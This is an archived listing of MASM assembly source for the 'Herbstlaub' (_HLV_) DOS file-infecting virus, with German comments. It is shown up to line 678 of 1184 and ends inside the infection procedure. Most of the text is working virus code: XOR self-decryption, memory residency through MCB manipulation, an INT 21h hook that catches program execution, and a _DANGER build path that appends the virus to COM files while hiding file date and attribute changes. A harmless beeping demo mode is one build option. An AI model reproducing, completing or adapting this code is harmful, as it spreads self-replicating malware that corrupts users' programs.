home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / CASCSPEC.ASM < prev    next >
Assembly Source File  |  1992-01-15  |  37KB  |  1,184 lines

  1. PAGE 62,132
  2. TITLE    _HLV_ (- Microsoft MASM 5.1 source -)
  3. SUBTTL    (C) 1990 164A12565AA18213165556D3125C4B962712
  4. .RADIX    16
  5. .LALL
  6.  
  7. TRUE        EQU    1
  8. FALSE        EQU    0
  9.  
  10. MONTH        EQU    9D
  11. YEAR        EQU    1991D
  12.  
  13. DEMO        EQU    TRUE
  14.  
  15. SWITCHABLE    =    TRUE
  16. IFDEF        _NOSWITCH
  17. SWITCHABLE    =    FALSE
  18. ENDIF
  19.  
  20. comment     #
  21. ╔══════════════════════════════════════════════════════════════════════════════╗
  22. ║                                           ║
  23. ║                            =====================                      ║
  24. ║                          H E R B S T L A U B                        ║
  25. ║                            =====================                   ║
  26. ║                                           ║
  27. ║                                           ║
  28. ║    SPRACHE:    MASM 4.00 (+)   [ frühere Versionen brechen z.B. mit   ║
  29. ║                    *OUT OF MEMORY* (3.00) ab oder lassen  ║
  30. ║                    sogar den PC abstürzen (1.10) ]        ║
  31. ║                                           ║
  32. ║    ( Eine als Beispiel gedachte Batchdatei zur Steuerung der Übersetzung  ║
  33. ║    ist am Ende dieses Quelltextes als Kommentar hinzugefügt. )            ║
  34. ║                                           ║
  35. ╚══════════════════════════════════════════════════════════════════════════════╝
  36. ┌──────────────────────────────────────────────────────────────────────────────┐
  37. │    Während der Übersetzung zu auszugebende Meldungen, 1. Teil.            │
  38. └──────────────────────────────────────────────────────────────────────────────┘
  39. #
  40. IF1
  41. REPT    50
  42. %Out
  43. ENDM;
  44. %Out    ╔════════════════════════════════════════════════════════════════╗
  45. %Out    ║░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║
  46. %Out    ║░░░░░░░░░░░░░░░░░░░┌───────────────────────┐░░░░░░░░░░░░░░░░░░░░║
  47. %Out    ║░░─────────────────┤  H E R B S T L A U B  ├──────────────────░░║
  48. %Out    ║░░░░░░░░░░░░░░░░░░░└───────────────────────┘░░░░░░░░░░░░░░░░░░░░║
  49. %Out    ║░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░║
  50. ENDIF
  51. comment #
  52. ┌──────────────────────────────────────────────────────────────────────────────┐
  53. │    Einige Assembler - Makros.                             │
  54. └──────────────────────────────────────────────────────────────────────────────┘
  55. #                            ;
  56. MSDOS        MACRO                    ;
  57.             INT    21            ;
  58.         ENDM                    ;
  59. Wait_HRI_or_VRI MACRO                    ;
  60.         LOCAL    _X_1, _X_2, _X_3        ;
  61.         MOV    DX,03DA             ;
  62.         CLI                    ;
  63.       _X_1: IN    AL,DX                ;
  64.         TEST    AL,08                ;
  65.         JNZ    _X_3                ;
  66.         TEST    AL,01                ;
  67.         JNZ    _X_1                ;
  68.       _X_2: IN    AL,DX                ;
  69.         TEST    AL,01                ;
  70.         JZ    _X_2                ;
  71.       _X_3    LABEL    NEAR                ;
  72.         ENDM                    ;------;
  73. SAVE        MACRO      _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c  ;
  74.          IRP  _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c> ;
  75.           IFNB     <_X>                ;------;
  76.            IFIDN <_X>,<F>            ;
  77.             PUSHF                ;
  78.            ELSE                 ;
  79.             PUSH    _X            ;
  80.            ENDIF                ;
  81.           ENDIF                 ;
  82.          ENDM                    ;
  83.         ENDM                    ;------;
  84. REST        MACRO      _1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c  ;
  85.          IRP  _X,<_1,_2,_3,_4,_5,_6,_7,_8,_9,_a,_b,_c> ;
  86.           IFNB     <_X>                ;------;
  87.            IFIDN <_X>,<F>            ;
  88.             POPF                ;
  89.            ELSE                 ;
  90.             POP    _X            ;
  91.            ENDIF                ;
  92.           ENDIF                 ;
  93.          ENDM                    ;
  94.         ENDM                    ;
  95. MOV_S        MACRO    S1,S2                ;
  96.             PUSH    S2            ;
  97.             POP    S1            ;
  98.         ENDM                    ;
  99.         comment                 #
  100. ┌──────────────────────────────────────────────────────────────────────────────┐
  101. │    Start des Code-Segments, Segment Prefix Bytes werden  n i c h t  au-   │
  102. │    tomatisch durch den Assembler erzeugt.                       │
  103. └──────────────────────────────────────────────────────────────────────────────┘
  104.         #                    ;
  105. TEXT        SEGMENT                 ;
  106.         ASSUME    CS:TEXT,DS:TEXT,ES:TEXT,SS:TEXT ;
  107.         comment                 #
  108. ┌──────────────────────────────────────────────────────────────────────────────┐
  109. │    Einige das Verständnis erleichternde Definitionen.                 │
  110. └──────────────────────────────────────────────────────────────────────────────┘
  111.         #                    ;
  112. NearJmp     EQU    0E9                ;
  113. PORT_B_8259A    EQU    20                ;
  114. EOI_8259A    EQU    20                ;
  115. PORT_B_8255    EQU    61                ;
  116. FIRSTCONST    EQU    0131                ;
  117. FIRSTBASE    EQU    FIRSTCONST  - OFFSET XI_001    ;-----;
  118. FIRSTBASE2    EQU    (FIRSTCONST + OFFSET XI_005 - XI_001) ;
  119. DeCrptd     EQU    0                ;-----;
  120. EnCrptd     EQU    1                ;
  121. BIOSDATASEG    EQU    040                ;
  122. MonoBase    EQU    0B000                ;
  123. ColorBase    EQU    0B800                ;
  124. B_VIDPAGE    EQU    THIS WORD + 04E         ;
  125. B_TIMERVAR    EQU    THIS WORD + 06C         ;
  126. TimerInt    EQU    1C                ;
  127. DOS        EQU    21                ;
  128. DOS_multi    EQU    2F                ;
  129. MS_SetDTA    EQU    1A                ;
  130.   DTA_in_PSP    EQU    80                ;
  131. MS_SetInt    EQU    25                ;
  132. MS_GetDateTime    EQU    2A                ;
  133. MS_GetVer    EQU    30                ;
  134.   DOS_v_02    EQU    2                ;
  135. MS_GetInt    EQU    35                ;
  136. MS_Open     EQU    3Dh                ;
  137.   Read_Only    EQU    0                ;
  138.   Read_Write    EQU    2                ;
  139. MS_Close    EQU    3E                ;
  140. MS_Read     EQU    3F                ;
  141. MS_Write    EQU    40                ;
  142. MS_MoveFP    EQU    42                ;
  143.   OfsFrmTop    EQU    0                ;
  144.   OfsFrmEnd    EQU    02                ;
  145. MS_GetFileAttr    EQU    4300                ;
  146. MS_SetFileAttr    EQU    4301                ;
  147.   Attr_A    EQU    20                ;
  148.   Attr_SHR    EQU    7                ;
  149.   Attr_ASHR    EQU    Attr_A OR Attr_SHR        ;
  150. MS_AllocMem    EQU    48                ;
  151. MS_ReleaseMem    EQU    49                ;
  152.   MemCBsig    EQU    THIS BYTE + 0            ;
  153.   MemCBowned    EQU    THIS WORD + 1            ;
  154.   MemCBsize    EQU    THIS WORD + 3            ;
  155. MS_Exec     EQU    4Bh                ;
  156.   MS_Exec_SF0    EQU    0                ;
  157.   Virus_fun    EQU    0ffh                ;
  158.   Virus_Sig    EQU    55AA                ;
  159. MS_SetPSP    EQU    50                ;
  160.   PSPsize    EQU    00100                ;
  161.   PSPCurCom    EQU    THIS WORD + 016         ;
  162.   PSPEnv    EQU    THIS WORD + 02C         ;
  163.   PSP_SegJFB    EQU    THIS WORD + 036         ;
  164.   NoEnv     EQU    0                ;
  165. MS_GetFileDate    EQU    5700                ;
  166. MS_SetFileDate    EQU    5701                ;
  167. PSP_100     EQU    THIS WORD + PSPsize        ;
  168. PSP_102     EQU    THIS BYTE + PSPsize + 2     ;
  169.         comment                 #
  170. ┌──────────────────────────────────────────────────────────────────────────────┐
  171. │    Ab hier wird Objektcode erzeugt, Datenbereich Nr. 1.               │
  172. └──────────────────────────────────────────────────────────────────────────────┘
  173.         #                    ;
  174. Crypt1        DB    0                ;
  175. Crypt2        EQU    OFFSET Crypt1 + FIRSTBASE    ;
  176. Crypt3        EQU    Crypt1 + PSPsize        ;
  177.         comment                 #
  178. ┌──────────────────────────────────────────────────────────────────────────────┐
  179. │    Einsprungstelle, entschlüsseln des Virus falls notwendig.              │
  180. └──────────────────────────────────────────────────────────────────────────────┘
  181.         #                    ;
  182. XI_000:     CLI                    ;
  183.         MOV    BP,SP                ;
  184.         CALL    XI_001                ;
  185. XI_001:     POP    BX                ;
  186.         SUB    BX,FIRSTCONST            ;
  187.         TEST    BYTE PTR CS:[BX+Crypt2],EnCrptd ;
  188.         JZ    XI_003                ;
  189.         LEA    SI,[BX + XR_000]        ;
  190.         MOV    SP,OFFSET EOFC-OFFSET XI_003    ;
  191. XI_002:     XOR    [SI],SI             ;
  192.         XOR    [SI],SP             ;
  193.         INC    SI                ;
  194.         DEC    SP                ;
  195.         JNZ    XI_002                ;
  196. XI_003        LABEL    NEAR                ;
  197.     XR_000    EQU    OFFSET XI_003 + FIRSTBASE    ;
  198.     XR_001    EQU    XI_003 + PSPsize        ;
  199.         MOV    SP,BP                ;
  200.         JMP    SHORT XI_004            ;
  201.         comment                 #
  202. ┌──────────────────────────────────────────────────────────────────────────────┐
  203. │    Datenbereich 2.                                │
  204. └──────────────────────────────────────────────────────────────────────────────┘
  205.         #                    ;
  206.     XD_000    DW    PSPsize             ;
  207. Disp_to_com_1    EQU    OFFSET XD_000 + FIRSTBASE    ;
  208.     XD_001    DW    9090                ;
  209. Disp_to_com_2    EQU    OFFSET XD_001 + FIRSTBASE    ;
  210.     XD_002    DW    9090                ;
  211. Initial_AX    EQU    OFFSET XD_002 + FIRSTBASE    ;
  212.     XD_003    EQU    THIS WORD            ;
  213.     XD_004    EQU    THIS BYTE + 2            ;
  214.         NOP                    ;
  215.         NOP                    ;
  216.         NOP                    ;
  217. Org1stInstr_s1    EQU    OFFSET XD_003 + FIRSTBASE    ;
  218. Org1stInstr_t1    EQU    XD_003 + PSPsize        ;
  219. Org1stInstr_t2    EQU    XD_003 + PSPsize + 1        ;
  220. Org1stInstr_s2    EQU    OFFSET XD_004 + FIRSTBASE    ;
  221.     XD_005    DW    2 dup ( 9090 )            ;
  222. Org_Int_1C    EQU    XD_005 + PSPsize        ;
  223.     XD_006    DW    2 dup ( 9090 )            ;
  224. Org_int_21s    EQU    OFFSET XD_006 + FIRSTBASE    ;
  225. Org_Int_21t    EQU    XD_006 + PSPsize        ;
  226.                             ;
  227. IF SWITCHABLE                        ;
  228.                             ;
  229.     XD_007    DW    2 dup ( 9090 )            ;
  230. Org_Int_2F    EQU    XD_007 + PSPsize        ;
  231.     XD_008    DB    5, "_HLV_    "            ;
  232. Cmd_2F        EQU    XD_008 + PSPsize        ;
  233.     XD_009    DB    'HLV is on',0Dh,0Ah,'$'     ;
  234. Msg_On        EQU    XD_009 + PSPsize        ;
  235.     XD_010    DB    'HLV is off',0Dh,0Ah,'$'    ;
  236. Msg_Off     EQU    XD_010 + PSPsize        ;
  237.                             ;
  238. ENDIF                            ;
  239.                             ;
  240.     XD_011    DW    9090                ;
  241. File_Attributes EQU    XD_011 + PSPsize        ;
  242.     XD_012    DW    9090                ;
  243. File_Date    EQU    XD_012 + PSPsize        ;
  244.     XD_013    DW    9090                ;
  245. File_Time    EQU    XD_013 + PSPsize        ;
  246.     XD_014    DW    2 dup ( 9090 )            ;
  247. Pathname    EQU    XD_014 + PSPsize        ;
  248.     XD_015    DW    2 dup ( 9090 )            ;
  249. File_Size_lsb    EQU    XD_015 + PSPsize        ;
  250. File_Size_msb    EQU    XD_015 + PSPsize + 2        ;
  251.     XD_016    DB    NearJmp             ;
  252. FirstOpCode_1    EQU    XD_016 + PSPsize        ;
  253.     XD_017    DW    9090                ;
  254. FirstOpCode_2    EQU    XD_017 + PSPsize        ;
  255.     XD_018    DB    90                ;
  256. Num_of_Col    EQU    XD_018 + PSPsize        ;
  257.     XD_019    DB    90                ;
  258. Last_Line    EQU    XD_019 + PSPsize        ;
  259.     XD_020    DB    90                ;
  260. Prevent_Snow?    EQU    XD_020 + PSPsize        ;
  261. Last_Pair    EQU    THIS WORD + PSPsize        ;
  262.     XD_021    DB    90                ;
  263.     XD_022    DB    90                ;
  264. Last_Char    EQU    XD_021 + PSPsize        ;
  265. Last_Attr    EQU    XD_022 + PSPsize        ;
  266. RecTyp1 RECORD    ExtCom:1, Recf_1:1, R_in_1c:1        ;
  267.     XD_023    RecTyp1 <0,0,0>             ;
  268. ISR_Flags    EQU    XD_023 + PSPsize        ;
  269.     XD_024    DW    9090                ;
  270. Seg_of_VRAM    EQU    XD_024 + PSPsize        ;
  271.     XD_025    DW    9090                ;
  272. Page_offset    EQU    XD_025 + PSPsize        ;
  273.     XD_026    DW    9090                ;
  274. Speed        EQU    XD_026 + PSPsize        ;
  275.     XD_027    DW    9090                ;
  276. XR_002 EQU    XD_027 + PSPsize            ;
  277.     XD_028    DW    9090                ;
  278. XR_003 EQU    XD_028 + PSPsize            ;
  279.     XD_029    DW    9090                ;
  280. Num_of_char    EQU    XD_029 + PSPsize        ;
  281.     XD_030    DW    9090                ;
  282. XR_004 EQU    XD_030 + PSPsize            ;
  283.     XD_031    DW    7 dup ( 9090 )            ;
  284. FirstRandom    EQU    XD_031 + PSPsize        ;
  285. LastRandom    EQU    This Word + PSPsize        ;
  286.         DW    9090                ;
  287.         comment                 #
  288. ┌──────────────────────────────────────────────────────────────────────────────┐
  289. │    Installieren u. relozieren falls notwendig.                    │
  290. └──────────────────────────────────────────────────────────────────────────────┘
  291.         #                    ;
  292. XI_004:     CALL    XI_005                ;
  293. XI_005        LABEL    NEAR                ;
  294. XR_005        EQU    XI_005 + PSPsize        ;
  295.         POP    BX                ;
  296.         SUB    BX,FIRSTBASE2            ;
  297.         MOV    CS:[BX+Disp_to_com_2],CS    ;
  298.         MOV    CS:[BX+Initial_AX],AX        ;
  299.         MOV    AX,CS:[BX+Org1stInstr_s1]    ;
  300.         MOV    [PSP_100],AX            ;
  301.         MOV    AL,CS:[BX+Org1stInstr_s2]    ;
  302.         MOV    [PSP_102],AL            ;
  303.         PUSH    BX                ;
  304.         MOV    AH,MS_GetVer            ;
  305.         MSDOS                    ;
  306.         POP    BX                ;
  307.         CMP    AL,DOS_v_02            ;
  308.         JB    XI_006                ;
  309.         MOV    AX,MS_Exec * 100 + Virus_fun    ;
  310.         XOR    DI,DI                ;
  311.         XOR    SI,SI                ;
  312.         MSDOS                    ;
  313.         CMP    DI,Virus_sig            ;
  314.         JNZ    XI_007                ;
  315. XI_006:     STI                    ;
  316.         MOV_S    ES,DS                ;
  317.         MOV    AX,CS:[BX+Initial_AX]        ;
  318.         JMP    DWORD PTR CS:[BX+Disp_to_com_1] ;
  319. XI_007:     PUSH    BX                ;
  320.         MOV    AX,MS_GetInt * 100 + DOS    ;
  321.         MSDOS                    ;
  322.         MOV    AX,BX                ;
  323.         POP    BX                ;
  324.         MOV    CS:[BX+Org_int_21s],AX        ;
  325.         MOV    CS:[BX+Org_int_21s + 2],ES    ;------------;
  326.         MOV    AX, (OFFSET EOFC - OFFSET Crypt1) SHR 4 + 11 ;
  327.         MOV    BP,CS                ;------------;
  328.         DEC    BP                ;
  329.         MOV    ES,BP                ;
  330.         MOV    SI,CS:[PSPCurCom]        ;
  331.         MOV    ES:[MemCBowned],SI        ;
  332.         MOV    DX,ES:[MemCBsize]        ;
  333.         MOV    ES:[MemCBsize],AX        ;
  334.         MOV    ES:[MemCBsig],'M'        ;
  335.         SUB    DX,AX                ;
  336.         DEC    DX                ;
  337.         INC    BP                ;
  338.         ADD    BP,AX                ;
  339.         INC    BP                ;
  340.         MOV    ES,BP                ;
  341.         PUSH    BX                ;
  342.         MOV    AH,MS_SetPSP            ;
  343.         MOV    BX,BP                ;
  344.         MSDOS                    ;
  345.         POP    BX                ;
  346.         XOR    DI,DI                ;
  347.         MOV_S    SS,ES                ;
  348.         PUSH    DI                ;
  349.         LEA    DI,[BX+XR_010]            ;
  350.         MOV    SI,DI                ;
  351.         MOV    CX,OFFSET EOFC            ;
  352.         STD                    ;
  353.         REPZ    MOVSB                ;
  354.         PUSH    ES                ;
  355.         LEA    CX,[BX+XR_006]            ;
  356.         PUSH    CX                ;
  357.         RETF                    ;
  358. XI_008        LABEL    NEAR                ;
  359. XR_006        EQU    OFFSET XI_008 + FIRSTBASE    ;
  360.         MOV    CS:[BX+Disp_to_com_2],CS    ;
  361.         LEA    CX,[BX+Crypt2]            ;
  362.         REPZ    MOVSB                ;
  363.         MOV    CS:[PSP_SegJFB],CS        ;
  364.         DEC    BP                ;
  365.         MOV    ES,BP                ;
  366.         MOV    ES:[MemCBsize],DX        ;
  367.         MOV    ES:[MemCBsig],'Z'        ;
  368.         MOV    ES:[MemCBowned],CS        ;
  369.         INC    BP                ;
  370.         MOV    ES,BP                ;
  371.         MOV_S    ES,DS                ;
  372.         MOV_S    DS,CS                ;
  373.         LEA    SI,[BX+Crypt2]            ;
  374.         MOV    DI,PSPsize            ;
  375.         MOV    CX,OFFSET EOFC            ;
  376.         CLD                    ;
  377.         REPZ    MOVSB                ;
  378.         PUSH    ES                ;
  379.         LEA    AX,[XR_007]            ;
  380.         PUSH    AX                ;
  381.         RETF                    ;
  382. XI_009        LABEL    NEAR                ;
  383. XR_007        EQU    XI_009 + PSPsize        ;
  384.         MOV    CS:[PSPEnv],NoEnv        ;
  385.         MOV    CS:[PSPCurCom],CS        ;
  386.         PUSH    DS                ;
  387.         LEA    DX,[XR_008]            ;
  388.         MOV_S    DS,CS                ;
  389.         MOV    AX,MS_SetInt * 100 + DOS    ;
  390.         MSDOS                    ;
  391.         POP    DS                ;
  392.         MOV    AH,MS_SetDTA            ;
  393.         MOV    DX,DTA_in_PSP            ;
  394.         MSDOS                    ;
  395.         SAVE    DS,ES,SI,DI,CX            ;
  396.         MOV_S    ES,CS                ;
  397.         MOV    CX,BIOSDATASEG            ;
  398.         MOV    DS,CX                ;
  399.         MOV    DI,OFFSET FirstRandom        ;
  400.         MOV    SI,OFFSET B_TIMERVAR        ;
  401.         MOV    CL,8                ;
  402.         CLD                    ;
  403.         REPZ    MOVSW                ;
  404.         REST    CX,DI,SI,ES,DS            ;
  405.                             ;
  406. IF SWITCHABLE                        ;
  407.                             ;
  408.         PUSH    DS                ;
  409.         MOV    AX,MS_GetInt * 100 + DOS_multi    ;
  410.         MSDOS                    ;
  411.         MOV    CS:[Org_Int_2F],BX        ;
  412.         MOV    CS:[Org_Int_2F + 2],ES        ;
  413.         MOV    AX,MS_SetInt * 100 + DOS_multi    ;
  414.         MOV    DX,offset Int_2F_ISR        ;
  415.         MOV_S    DS,CS                ;
  416.         MSDOS                    ;
  417.         POP    DS                ;
  418.                             ;
  419. ENDIF                            ;
  420.                             ;
  421.         OR    CS:[ISR_Flags],MASK ExtCom    ;
  422.         MOV    AH,MS_GetDateTime        ;
  423.         MSDOS                    ;
  424.         CMP    CX,YEAR             ;
  425.         JZ    XI_010                ;
  426.         JMP    SHORT XI_011            ;
  427. XI_010:     CMP    DH,MONTH            ;
  428.         JB    XI_011                ;
  429.         AND    CS:[ISR_Flags],NOT MASK ExtCom    ;
  430. XI_011:     MOV    AX,1518             ;
  431.         CALL    Random                ;
  432.         INC    AX                ;
  433.         MOV    CS:[XR_002],AX            ;
  434.         MOV    CS:[XR_003],AX            ;
  435.         MOV    CS:[XR_004],1            ;
  436.         MOV    AX,MS_GetInt * 100 + TimerInt    ;
  437.         MSDOS                    ;
  438.         MOV    CS:[Org_Int_1C],BX        ;
  439.         MOV    CS:[Org_Int_1C + 2],ES        ;
  440.         PUSH    DS                ;
  441.         MOV    AX,MS_SetInt * 100 + TimerInt    ;
  442.         MOV    DX,OFFSET XR_009        ;
  443.         MOV_S    DS,CS                ;
  444.         MSDOS                    ;
  445.         POP    DS                ;
  446. XI_012:     MOV    BX,OFFSET XR_005 - (FIRSTBASE2) ;
  447.         JMP    XI_006                ;
  448.         comment                 #
  449. ┌──────────────────────────────────────────────────────────────────────────────┐
  450. │    Neue Interrupt 21(h) Behandlungsroutine ( verändert Exec - Funktion ). │
  451. └──────────────────────────────────────────────────────────────────────────────┘
  452.         #                    ;
  453. XI_013        LABEL    NEAR                ;
  454. XR_008        EQU    XI_013 + PSPsize        ;
  455.         CMP    AH,MS_Exec            ;
  456.         JZ    XI_016                ;
  457. XI_014:     JMP    DWORD PTR CS:[Org_Int_21t]    ;
  458. XI_015:     MOV    DI,Virus_Sig            ;
  459.         LES    AX,CS:DWORD PTR [Org_Int_21t]    ;
  460.         MOV    DX,CS                ;
  461.         IRET                    ;
  462. XI_016:     CMP    AL,Virus_fun            ;
  463.         JZ    XI_015                ;
  464.         CMP    AL,MS_Exec_SF0            ;
  465.         JNZ    XI_014                ;
  466.         SAVE    F,AX,BX,CX,DX,SI,DI,BP,ES,DS    ;
  467.         MOV    CS:[Pathname],DX        ;
  468.         MOV    CS:[Pathname + 2],DS        ;
  469.         MOV_S    ES,CS                ;
  470.         MOV    AX,MS_Open * 100 + Read_Only    ;
  471.         MSDOS                    ;
  472.         JB    XI_018                ;
  473.         MOV    BX,AX                ;
  474.         MOV    AX,MS_GetFileDate        ;
  475.         MSDOS                    ;
  476.         MOV    CS:[File_Date],DX        ;
  477.         MOV    CS:[File_Time],CX        ;
  478.         MOV    AH,MS_Read            ;
  479.         MOV_S    DS,CS                ;
  480.         MOV    DX,OFFSET Org1stInstr_t1    ;
  481.         MOV    CX,3                ;
  482.         MSDOS                    ;
  483.         JB    XI_018                ;
  484.         CMP    AX,CX                ;
  485.         JNZ    XI_018                ;
  486.         MOV    AX,MS_MoveFP * 100 + OfsFrmEnd    ;
  487.         XOR    CX,CX                ;
  488.         XOR    DX,DX                ;
  489.         MSDOS                    ;
  490.         MOV    CS:[File_Size_lsb],AX        ;
  491.         MOV    CS:[File_Size_msb],DX        ;
  492.         MOV    AH,MS_Close            ;
  493.         MSDOS                    ;---------------;
  494.         CMP    CS:[Org1stInstr_t1], 'Z' * 100 + 'M'        ;
  495.         JNZ    XI_017                        ;
  496.         JMP    XI_025                        ;
  497. XI_017:     CMP    CS:[File_Size_msb],+0                ;
  498.         JA    XI_018                        ;
  499.         CMP    CS:[File_Size_lsb],offset Crypt1-offset EOFC-20 ;
  500.         JBE    XI_019                        ;
  501. XI_018:     JMP    XI_025                        ;
  502. XI_019:     CMP    BYTE PTR CS:[Org1stInstr_t1],NearJmp        ;
  503.         JNZ    XI_020                        ;
  504.         MOV    AX,CS:[File_Size_lsb]                ;
  505.         ADD    AX,OFFSET Crypt1 - offset EOFC - 2        ;
  506.         CMP    AX,CS:[Org1stInstr_t2]        ;---------------;
  507.         JZ    XI_018                ;
  508.                             ;
  509. IF DEMO                         ;
  510. XI_020:     CALL    DEMO_Infect            ;
  511.         JMP    XI_025                ;
  512.                             ;
  513. IF2                            ;----------------;
  514. %Out    ║░░░░░░░░░░░░░░░░░░░░░░╔═════════════════╗░░░░░░░░░░░░░░░░░░░░░░░║
  515. %Out    ║░░░░░░░░░░░░░░░░░░░░░░║ Demo - Version, ║░░░░░░░░░░░░░░░░░░░░░░░║
  516. %Out    ║░░░░░░░░░░░░░░░░░░░░░░║ k e i n  Virus. ║░░░░░░░░░░░░░░░░░░░░░░░║
  517. ENDIF                            ;----------------;
  518. ELSE                            ;
  519. IFDEF    _DANGER                     ;
  520. XI_020        MOV    AX,MS_GetFileAttr        ;
  521.         LDS    DX,CS:DWORD PTR [Pathname]    ;
  522.         MSDOS                    ;
  523.         JB    XI_018                ;
  524.         MOV    CS:[File_Attributes],CX     ;
  525.         XOR    CL,Attr_A            ;
  526.         TEST    CL,Attr_ASHR            ;
  527.         JZ    XI_021                ;
  528.         MOV    AX,MS_SetFileAttr        ;
  529.         XOR    CX,CX                ;
  530.         MSDOS                    ;
  531.         JB    XI_018                ;
  532. XI_021:     MOV    AX,MS_Open * 100 + Read_Write    ;
  533.         MSDOS                    ;
  534.         JB    XI_018                ;
  535.         MOV    BX,AX                ;
  536.         MOV    AX,MS_MoveFP * 100 + OfsFrmEnd    ;
  537.         XOR    CX,CX                ;
  538.         XOR    DX,DX                ;
  539.         MSDOS                    ;
  540.         CALL    Append_Virus            ;
  541.         JNB    XI_022                ;
  542.         MOV    AX,MS_MoveFP * 100 + OfsFrmTop    ;
  543.         MOV    CX,CS:[File_Size_msb]        ;
  544.         MOV    DX,CS:[File_Size_lsb]        ;
  545.         MSDOS                    ;
  546.         MOV    AH,MS_Write            ;
  547.         XOR    CX,CX                ;
  548.         MSDOS                    ;
  549.         JMP    SHORT XI_023            ;
  550. XI_022:     MOV    AX,MS_MoveFP * 100 + OfsFrmTop    ;
  551.         XOR    CX,CX                ;
  552.         XOR    DX,DX                ;
  553.         MSDOS                    ;
  554.         JB    XI_023                ;
  555.         MOV    AX,CS:[File_Size_lsb]        ;
  556.         ADD    AX,-2                ;
  557.         MOV    CS:[FirstOpCode_2],AX        ;
  558.         MOV    AH,MS_Write            ;
  559.         MOV    DX,OFFSET FirstOpCode_1     ;
  560.         MOV    CX,3                ;
  561.         MSDOS                    ;
  562. XI_023:     MOV    AX,MS_SetFileDate        ;
  563.         MOV    DX,CS:[File_Date]        ;
  564.         MOV    CX,CS:[File_Time]        ;
  565.         MSDOS                    ;
  566.         MOV    AH,MS_Close            ;
  567.         MSDOS                    ;
  568.         MOV    CX,CS:[File_Attributes]     ;
  569.         TEST    CL,Attr_SHR            ;
  570.         JNZ    XI_024                ;
  571.         TEST    CL,Attr_A            ;
  572.         JNZ    XI_025                ;
  573. XI_024:     MOV    AX,MS_SetFileAttr        ;
  574.         LDS    DX,CS:DWORD PTR [Pathname]    ;
  575.         MSDOS                    ;
  576. IF2                            ;----------------;
  577. %Out    ║░░░░░░░░░░░░░░░░░░░░░░╔═════════════════╗░░░░░░░░░░░░░░░░░░░░░░░║
  578. %Out    ║░░░░░░░░░░░░░░░░░░░░░░║    KEIN DEMO,     ║░░░░░░░░░░░░░░░░░░░░░░░║
  579. %Out    ║░░░░░░░░░░░░░░░░░░░░░░║ scharfer Virus. ║░░░░░░░░░░░░░░░░░░░░░░░║
  580. ENDIF                                     ;
  581. ELSE                                     ;
  582.         .ERR                             ;
  583. ENDIF                                     ;
  584. ENDIF                                     ;
  585. IF SWITCHABLE                                 ;
  586. IF2                                     ;
  587. %Out    ║░░░░░░░░░░░╔══════════╩═════════════════╩══════════╗░░░░░░░░░░░░║
  588. %Out    ║░░░░░░░░░░░║ Neuer interner MSDOS Befehl '_HLV_' ! ║░░░░░░░░░░░░║
  589. ENDIF                                     ;
  590. ELSE                                     ;
  591. IF2                                     ;
  592. %Out    ║░░░░░░░░░░░╔══════════╩═════════════════╩══════════╗░░░░░░░░░░░░║
  593. %Out    ║░░░░░░░░░░░║ Kommando '_HLV_' nicht implementiert. ║░░░░░░░░░░░░║
  594. ENDIF                                     ;
  595. ENDIF                                     ;
  596. DISPNUM MACRO    nu,nuxx                          ;
  597. %Out    ║░░░░░░░░░░░║    (Monat - Jahr)         nu     -  nuxx    ║░░░░░░░░░░░░║
  598. ENDM                                     ;
  599. IF2                                     ;
  600. %Out    ║░░░░░░░░░░░║      Bis zum Jahresende aktiv ab:        ║░░░░░░░░░░░░║
  601. .radix 10                                 ;
  602. DISPNUM %MONTH,%YEAR                             ;
  603. .radix 16                                 ;
  604. %Out    ║░░░░░░░░░░░╚═══════════════════════════════════════╝░░░░░░░░░░░░║
  605. endif                                     ;
  606. XI_025:     REST    DS,ES,BP,DI,SI,DX,CX,BX,AX,F    ;----------------;
  607.         JMP    XI_014                ;
  608. IF DEMO                         ;
  609.                             ;
  610.         comment                 #
  611. ┌──────────────────────────────────────────────────────────────────────────────┐
  612. │    Statt APPEND in der DEMO - Version aufgerufene Prozedur.           │
  613. └──────────────────────────────────────────────────────────────────────────────┘
  614.         #                    ;
  615. DEMO_INFECT    PROC    NEAR                ;
  616.         push    ax                ;
  617.         push    cx                ;
  618.         in    al,61                ;
  619.         or    al,3                ;
  620.         out    61,al                ;
  621.         mov    al,0b6                ;
  622.         out    43,al                ;
  623.         mov    cx,0a                ;
  624. XI_026:     dec    cx                ;
  625.         jz    XI_030                ;
  626. XI_027:     mov    ax,200d             ;
  627. XI_028:     dec    ax                ;
  628.         cmp    ax,100d             ;
  629.         jz    XI_031                ;
  630.         push    ax                ;
  631.         out    42,al                ;
  632.         push    cx                ;
  633.         mov    cx,150d             ;
  634. XI_029:     nop                    ;
  635.         loop    XI_029                ;
  636.         pop    cx                ;
  637.         mov    al,ah                ;
  638.         out    42,al                ;
  639.         pop    ax                ;
  640.         jmp    XI_028                ;
  641. XI_030:     in    al,61                ;
  642.         and    al,0fc                ;
  643.         out    61,al                ;
  644.         pop    cx                ;
  645.         pop    ax                ;
  646.         ret                    ;
  647. XI_031:     inc    ax                ;
  648.         cmp    ax,600d             ;
  649.         jz    XI_026                ;
  650.         push    ax                ;
  651.         out    42,al                ;
  652.         push    cx                ;
  653.         mov    cx,150d             ;
  654. XI_032:     nop                    ;
  655.         loop    XI_032                ;
  656.         pop    cx                ;
  657.         mov    al,ah                ;
  658.         out    42,al                ;
  659.         pop    ax                ;
  660.         jmp    XI_031                ;
  661. DEMO_INFECT    ENDP                    ;
  662.                             ;
  663. ELSE                            ;
  664.         comment                 #
  665. ┌──────────────────────────────────────────────────────────────────────────────┐
  666. │    Append Virus - von der Int21ISR aufgerufene Infektions-Prozdur           │
  667. └──────────────────────────────────────────────────────────────────────────────┘
  668.         #                    ;
  669. Append_Virus    PROC    NEAR                ;
  670.         SAVE    ES,BX                ;
  671.         MOV    AH,MS_AllocMem            ;----------;
  672.         MOV    BX,(OFFSET EOFC - OFFSET Crypt1) SHR 4 + 1 ;
  673.         MSDOS                    ;----------;
  674.         POP    BX                ;
  675.         JNB    XI_034                ;
  676. XI_033:     STC                    ;
  677.         POP    ES                ;
  678.         RET                    ;
